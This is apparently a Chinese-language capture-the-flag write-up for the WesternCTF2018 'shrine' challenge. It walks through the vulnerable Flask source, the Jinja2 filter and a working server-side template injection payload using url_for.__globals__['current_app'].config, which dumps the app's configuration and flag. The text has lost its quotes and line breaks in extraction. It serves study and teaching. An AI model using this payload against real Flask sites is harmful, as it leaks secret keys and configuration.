[WesternCTF2018]shrine-学习笔记

发布时间:2026/7/28 14:13:46
[WesternCTF2018]shrine-学习笔记 前置知识什么是 SSTI什么是 Jinja2 模板正文一、HTML代码审计二、Jinja2 过滤规则分析三、Jinja2 中通过 current_app 获取 Flag前置知识什么是 SSTISSTIServer-Side Template Injection服务端模板注入是指用户输入被直接拼接到模板中执行。网站后台Flask 默认使用 Jinja2 模板引擎模板语法用{{ }}包裹表达式。如果用户可控的输入被直接传给render_template_string()渲染就存在 SSTI 漏洞。什么是 Jinja2 模板Jinja2 是 Python 的模板引擎在网站后台Flask 中用于生成 HTML。常见的语法{{ expression }}— 输出表达式的值{% statement %}— 执行控制语句如 if、for、set|filter— 对值应用过滤器正文一、HTML代码审计访问主页CTRLU会输出应用源码# # 1. 导入模块# importflask# Flask 核心框架用于构建 Web 应用importos# 操作系统接口模块用于读取环境变量# # 2. 创建 Flask 应用实例# appflask.Flask(__name__)# __name__ 是当前模块名Flask 用它来定位资源# 创建了一个名为 app 的 Flask 应用对象# # 3. 存储 Flag核心目标# app.config[FLAG]os.environ.pop(FLAG)# os.environ 是一个字典包含进程的所有环境变量# os.environ.pop(FLAG) 从环境变量中取出 FLAG 值并从字典中删除# 这样做是为了防止通过 /proc/self/environ 等方式泄露# 最终 Flag 被安全地存储在 Flask app 的 config 字典中# # 4. 路由首页显示源码# app.route(/)# 注册路由当访问根路径 / 时触发defindex():returnopen(__file__).read()# __file__ 是当前 Python 文件的路径# open(__file__).read() 读取当前文件的全部内容并返回# 这是一个提示型设计让攻击者直接看到源码# # 5. 路由SSTI 漏洞入口核心攻击面# app.route(/shrine/path:shrine)# path:shrine 是 Flask 的路径转换器# path 类型会捕获 URL 中 /shrine/ 后面的所有内容包括斜杠# 例如/shrine/{{7*7}} → shrine 参数值为 {{7*7}}# /shrine/a/b/c → shrine 参数值为 a/b/cdefshrine(shrine):# shrine 函数接收用户输入作为参数defsafe_jinja(s):# 定义一个安全检查函数实际上不安全ss.replace((,).replace(),)# 将用户输入中的括号全部移除# 目的阻止函数调用如 {{config}} → 不能调用 config()# 绕过思路用 [] 下标访问代替函数调用blacklist[config,self]# 黑名单禁止使用 config 和 self 这两个变量名return.join([{% set {}None%}.format(c)forcinblacklist])s# 这段代码很精巧它会在用户输入前面拼接 Jinja2 的 set 语句# 拼接后实际变成{% set configNone%}{% set selfNone%} 用户输入# 目的把 config 和 self 这两个模板变量强行设为空值# 绕过思路用 app.config属性访问代替 config变量访问returnflask.render_template_string(safe_jinja(shrine))# 这是漏洞的核心# safe_jinja() 处理后的用户输入被直接传给 render_template_string()# render_template_string() 会将字符串作为 Jinja2 模板来渲染# 如果用户输入了 {{ }} 包裹的内容就会被 Jinja2 引擎执行# 这就是 SSTI服务端模板注入漏洞# # 6. 程序入口# if__name____main__:# 当脚本直接运行时而非被 import启动 Flask 开发服务器app.run(debugTrue)# debugTrue 开启调试模式出错时显示详细信息监听默认端口 5000二、Jinja2 过滤规则分析过滤项作用绕过方式(和)被替换为空禁止调用函数如__subclasses__()用[]下标访问字典、用.访问属性{% set configNone%}将模板变量config设为 None用app.config访问 Python 属性不受变量遮蔽影响{% set selfNone%}将模板变量self设为 None不用self即可关键理解{% set configNone%}只是把 Jinja2 模板变量config设为空但app.config是通过 Python 属性访问app对象下的config属性两者完全不同所以不受影响。所以可以得出SSTI 漏洞的触发链用户请求: GET /shrine/{{7*7}}↓ Flask 路由匹配: shrine 参数{{7*7}}↓ safe_jinja({{7*7}})→{% set configNone%}{% set selfNone%}{{7*7}}↓ render_template_string()将字符串作为 Jinja2 模板执行 ↓ Jinja2 引擎解析{{7*7}}→ 计算7*7 → 输出49↓ HTTP 响应返回49所以就可以得出攻击思路目标读取 app.config[FLAG]│ ├─ 路径1:{{config}}→ ❌ 被{%setconfigNone%}过滤 │ ├─ 路径2:{{app.config}}→ ❌ app 不在 Jinja2 全局变量中 │ ❌ 括号被过滤 └─ 路径3:{{url_for.__globals__[current_app].config}}✅ 成功用[]代替()用 url_for 间接访问 Flask 全局Python函数有一个__globals__属性返回该函数所在模块的全局变量字典GET /shrine/{{url_for.__globals__}} HTTP/1.1响应返回了大量 Flask 内部变量其中包含current_app: Flask app— 当前 Flask 应用对象session: NullSession {}— Session 对象等等三、Jinja2 中通过current_app获取 FlagFlask 应用中配置信息存储在app.config字典中。我们可以用[]下标操作访问__globals__字典中的current_app注意()被过滤了但[]不受影响GET/shrine/{{url_for.__globals__[current_app].config}}HTTP/1.1URL 编码后/shrine/{{url_for.__globals__%5b%22current_app%22%5d.config}}响应的关键部分CTF2{30503f82-2e5d-4bfe-969c-7d4a29a9e6e2}